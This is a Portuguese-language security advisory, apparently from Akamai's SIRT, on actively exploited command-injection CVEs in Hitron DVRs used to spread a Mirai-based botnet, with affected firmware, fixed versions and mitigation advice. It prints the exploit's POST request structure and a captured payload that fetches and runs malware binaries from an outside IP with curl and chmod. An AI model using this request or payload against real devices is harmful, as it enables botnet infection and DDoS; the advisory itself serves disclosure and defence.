Vulnerabilidade explorada ativamente nos DVRs Hitron: corrigida, patches disponíveis
Resumo executivo
A SIRT (Security Intelligence Response Team, equipe de resposta de inteligência de segurança) da Akamai emitiu uma atualização adicional para a série de comunicados da InfectedSlurs, pois um dos fornecedores afetados lançou correções e orientações.
A vulnerabilidade no Hitron foi identificada em ambiente real e recebeu os seguintes IDs CVE:
CVE-2024-22768 - Uma pontuação base CVSS v3.1 de 7,4 foi calculada; a string do vetor CVSS é (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22769 - Uma pontuação base CVSS v3.1 de 7,4 foi calculada; a string do vetor CVSS é (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22770 - Uma pontuação base CVSS v3.1 de 7,4 foi calculada; a string do vetor CVSS é (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22771 - Uma pontuação base CVSS v3.1 de 7,4 foi calculada; a string do vetor CVSS é (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22772 - Uma pontuação base CVSS v3.1 de 7,4 foi calculada; a string do vetor CVSS é (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-23842 - Uma pontuação base CVSS v3.1 de 7,4 foi calculada; a string do vetor CVSS é (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
As cargas úteis mal-intencionados capturadas em ambientes reais instalam um malware baseado em Mirai para criar uma botnet de DDoS (negação de serviço distribuída) .
Fornecemos uma lista extensa de indicadores de comprometimento (IOCs), regras de classificação e regras YARA na pesquisa original para ajudar a identificar essas tentativas de exploração em ambientes reais e para ajudar a descobrir possíveis infecções ativas nas redes de defesa.
É importante saber
Como parte da descoberta da InfectedSlurs, a SIRT da Akamai identificou vulnerabilidades em vários modelos de dispositivos DVR Hitron que são exploradas ativa e livremente. Os dispositivos Hitron são fabricados na Coreia do Sul pela Hitron Systems.
A vulnerabilidade permite que um invasor autenticado obtenha injeção de comando do sistema operacional com uma carga útil entregue por meio de uma solicitação de POST à interface de gerenciamento. Em sua configuração atual, ele está utilizando credenciais padrão do dispositivo nas cargas úteis capturadas.
As versões de dispositivos e firmware afetados são:
DVR HVR-4781: versões 1.03 a 4.02
DVR HVR-8781: versões 1.03 a 4.02
DVR HVR-16781: versões 1.03 a 4.02
DVR LGUVR-4H: versões 1.02 a 4.02
DVR LGUVR-8H: versões 1.02 a 4.02
DVR LGUVR-16H: versões 1.02 a 4.02
O fornecedor (Hitron Systems) lançou novas versões de firmware para solucionar as vulnerabilidades. Ele recomenda atualizar para a versão de firmware ≥ 4.03 todos os modelos afetados o mais rápido possível. As recomendações também foram publicadas pela CISA e KISA. A KISA também divulgou recomendações relacionadas aos CVEs individuais, que podem ser encontradas nos seguintes links:
Exploração observada
No final de outubro de 2023, os analistas da SIRT da Akamai notaram um aumento na atividade em nossos honeypots visando uma porta TCP raramente explorada. As sondas eram de baixa frequência e pareciam tentar primeiro uma autenticação por meio de solicitação POST para o arquivo /cgi-bin/system_ntp.cgi (Figura 1), seguida de uma tentativa de exploração de injeção de comando (Figura 2). Os dispositivos visados são os dispositivos DVR da Hitron Systems, que são vulneráveis ao RCE por meio de injeção de comando (Figura 3). Uma vez autenticado, o invasor visa a vulnerabilidade de injeção de comando no parâmetro do timeserver por meio de uma solicitação POST para /cgi-bin/system_ntp.cgi.
URL: /cgi-bin/system_ntp.cgi
POST BODY:
enc=11&ip=[targeted IP]&username=[REDACTED]&password=[REDACTED]
Fig. 1: Tentativa de autenticação
URL: /cgi-bin/system_ntp.cgi
POST BODY:
lang=ja&useNTPServer=1&synccheck=1&public=0×erver=[RCE
PAYLOAD]&interval=60&enableNTPServer=1
Fig. 2: Tentativas de exploração
curl+http://45.142.182.96/spl/mips+-O;+chmod+777+mips;+./mips+kdvr;curl+http://45.142.182.96/spl/x86+-O;+chmod+777+x86;+./x86+kdvr;curl+http://45.142.182.96/spl/mpsl+-O;+chmod+777+mpsl;+./mpsl+kdvr;curl+http://45.142.182.96/spl/arm+-O;+chmod+777+arm;+./arm+kdvr;curl+http://45.142.182.96/spl/arm5+-O;+chmod+777+arm5;+./arm5+kdvr;curl+http://45.142.182.96/spl/arm6+-O;+chmod+777+arm6;+./arm6+kdvr;curl+http/45.142.182.96/spl/arm7+-O;+chmod+777+arm7;+./arm7+kdvr
Fig. 3: Carga útil RCE capturada
Proteção
Os usuários de DVRs Hitron que estejam executando dispositivos afetados por essa vulnerabilidade devem atualizar imediatamente para as versões de firmware mais recentes disponíveis (≥ 4.03) que corrigem a vulnerabilidade de RCE.
HVR-4781: versão 4.03
HVR-8781: versão 4.03
HVR-16781: versão 4.03
LGUVR-4H: versão 4.03
LGUVR-8H: versão 4.03
LGUVR-16H: versão 4.03
Além disso, para se proteger contra essa e futuras ameaças, várias medidas de segurança devem ser implementadas. Antes de mais nada, para aumentar a segurança, as organizações e os indivíduos que usam os dispositivos afetados devem alterar imediatamente suas credenciais de login padrão. O monitoramento regular do tráfego de rede e dos registros pode ajudar na detecção precoce de atividades suspeitas. A rápida instalação de patches de segurança e atualizações do fabricante do dispositivo é essencial para solucionar a vulnerabilidade identificada.
A colaboração com pesquisadores de segurança, provedores de inteligência contra ameaças e colegas do setor pode ajudá-lo a manter-se informado sobre ameaças e vulnerabilidades recentes. Por fim, manter um inventário atualizado dos dispositivos conectados e implementar segmentação de rede pode limitar o possível impacto desses ataques.
Conclusão
Resolver os problemas de segurança identificados nos sistemas Hitron e nos dispositivos associados requer uma abordagem multifacetada, combinando conscientização do usuário, aplicação imediata de patches, monitoramento proativo e colaboração dentro da comunidade de cibersegurança. Ao adotar essas medidas, as organizações e os indivíduos podem reduzir significativamente os riscos apresentados pela atividade mal-intencionada observada.
Fique atento
Para se manter atualizado sobre ameaças e outras descobertas da SIRT e de outros grupos de pesquisa da Akamai sobre segurança, siga-nos no X (Antigo Twitter) ou confira nosso hub SIG.
A SIRT da Akamai gostaria de agradecer ao pessoal da CISA, da US-CERT e da KISA por sua assistência em relatar essas vulnerabilidades aos fornecedores.
